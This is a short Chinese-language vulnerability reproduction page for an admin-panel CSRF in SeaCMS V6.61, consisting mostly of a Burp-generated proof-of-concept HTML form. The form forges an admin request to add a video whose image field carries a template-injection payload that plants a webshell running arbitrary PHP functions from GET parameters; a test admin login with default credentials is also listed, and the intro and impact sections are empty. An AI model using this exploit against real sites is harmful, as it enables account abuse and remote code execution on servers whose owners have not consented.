# Seacms V6.61 后台csrf

## 一、漏洞简介

## 二、漏洞影响

## 三、复现过程

http://www.0-sec.org:10089/backend/，用户名和密码为admin | admin

<html>  
 <!-- CSRF PoC - generated by Burp Suite Professional -->  
 <body>  
 <script>history.pushState('', '', '/')</script>  
 <!-- adjust action to your url -->  
 <form action="http://www.0-sec.org/seacms/backend/admin\_video.php?action=save&acttype=add" method="POST">  
 <input type="hidden" name="v&#95;commend" value="0" />  
 <input type="hidden" name="v&#95;name" value="getshell" />  
 <input type="hidden" name="v&#95;enname" value="ceshi" />  
 <input type="hidden" name="v&#95;color" value="&#35;FF0000" />  
 <input type="hidden" name="v&#95;type" value="5" />  
 <input type="hidden" name="v&#95;state" value="5" />  
 <input type="hidden" name="v&#95;pic" value="{if:1)$GLOBALS['\_G'.'ET'][a]($GLOBALS['\_G'.'ET'][b]);//}{end if}" />  
 <input type="hidden" name="v&#95;spic" value="" />  
 <input type="hidden" name="v&#95;gpic" value="" />  
 <input type="hidden" name="v&#95;actor" value="" />  
 <input type="hidden" name="v&#95;director" value="" />  
 <input type="hidden" name="v&#95;commend" value="0" />  
 <input type="hidden" name="v&#95;note" value="" />  
 <input type="hidden" name="v&#95;tags" value="" />  
 <input type="hidden" name="select3" value="" />  
 <input type="hidden" name="v&#95;publishyear" value="" />  
 <input type="hidden" name="select2" value="" />  
 <input type="hidden" name="v&#95;lang" value="" />  
 <input type="hidden" name="select1" value="" />  
 <input type="hidden" name="v&#95;publisharea" value="" />  
 <input type="hidden" name="select4" value="" />  
 <input type="hidden" name="v&#95;ver" value="" />  
 <input type="hidden" name="v&#95;hit" value="0" />  
 <input type="hidden" name="v&#95;monthhit" value="0" />  
 <input type="hidden" name="v&#95;weekhit" value="0" />  
 <input type="hidden" name="v&#95;dayhit" value="0" />  
 <input type="hidden" name="v&#95;len" value="" />  
 <input type="hidden" name="v&#95;total" value="" />  
 <input type="hidden" name="v&#95;nickname" value="" />  
 <input type="hidden" name="v&#95;company" value="" />  
 <input type="hidden" name="v&#95;tvs" value="" />  
 <input type="hidden" name="v&#95;douban" value="" />  
 <input type="hidden" name="v&#95;mtime" value="" />  
 <input type="hidden" name="v&#95;imdb" value="" />  
 <input type="hidden" name="v&#95;score" value="" />  
 <input type="hidden" name="v&#95;scorenum" value="" />  
 <input type="hidden" name="v&#95;longtxt" value="" />  
 <input type="hidden" name="v&#95;money" value="0" />  
 <input type="hidden" name="v&#95;psd" value="" />  
 <input type="hidden" name="v&#95;playfrom&#91;1&#93;" value="" />  
 <input type="hidden" name="v&#95;playurl&#91;1&#93;" value="" />  
 <input type="hidden" name="m&#95;downfrom&#91;1&#93;" value="" />  
 <input type="hidden" name="m&#95;downurl&#91;1&#93;" value="" />  
 <input type="hidden" name="v&#95;content" value="" />  
 <input type="hidden" name="Submit" value="�&#161;&#174;�&#174;&#154;�&#143;&#144;浜&#164;" />  
 <input type="submit" value="Submit request" />  
 </form>  
 </body>  
</html>